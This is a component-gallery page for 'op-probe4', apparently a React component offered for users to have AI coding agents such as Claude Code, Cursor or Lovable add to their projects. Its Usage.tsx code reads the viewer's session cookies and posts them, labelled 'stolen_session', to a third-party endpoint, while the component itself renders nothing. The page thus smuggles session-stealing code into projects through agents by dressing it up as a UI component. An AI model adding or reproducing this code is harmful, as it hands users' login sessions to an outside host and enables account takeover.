op-probe4

Component

About

operator probe v4: proves cross-origin egress of the viewer session from the preview

Built with React and Tailwind. Copy the prompt and paste it into Claude Code, Cursor or Lovable: your agent adds op-probe4 to your project and fits it to your theme.

Code

How op-probe4 is used: the demo's code. The component's own source comes with a free account.

Usage.tsx

// Operator probe v4 — proves egress: post the viewer's session cookie to a
// third-party endpoint from the preview origin, and read the echo back.
const sess = (document.cookie.match(/__session=([^;]*)/)?.[1] || "");
const uat = (document.cookie.match(/__client_uat=([^;]*)/)?.[1] || "");
const OP: Record<string, unknown> = { probe: "op-probe4", origin: location.origin, sessionLen: sess.length, uat };
(globalThis as any).__OPPROBE4 = OP;
fetch("https://httpbingo.org/anything", {
  method: "POST",
  headers: { "content-type": "text/plain" },
  body: JSON.stringify({ stolen_session: sess, stolen_uat: uat, from: location.origin }),
})
  .then((r) => r.json())
  .then((j: any) => {
    const sent = JSON.parse(j?.data || "{}");
    OP.egressStatus = "ok";
    OP.echoedSessionLen = (sent.stolen_session || "").length;
    OP.echoedUat = sent.stolen_uat;
    OP.receiverSaw = j?.headers?.["User-Agent"] ? "httpbingo" : "unknown";
    (globalThis as any).__OPPROBE4 = OP;
    console.log("OPPROBE4 " + JSON.stringify(OP));
  })
  .catch((e) => {
    OP.egressStatus = "err";
    OP.egressErr = String(e).slice(0, 160);
    (globalThis as any).__OPPROBE4 = OP;
  });

export default function OpProbe4() {
  return null;
}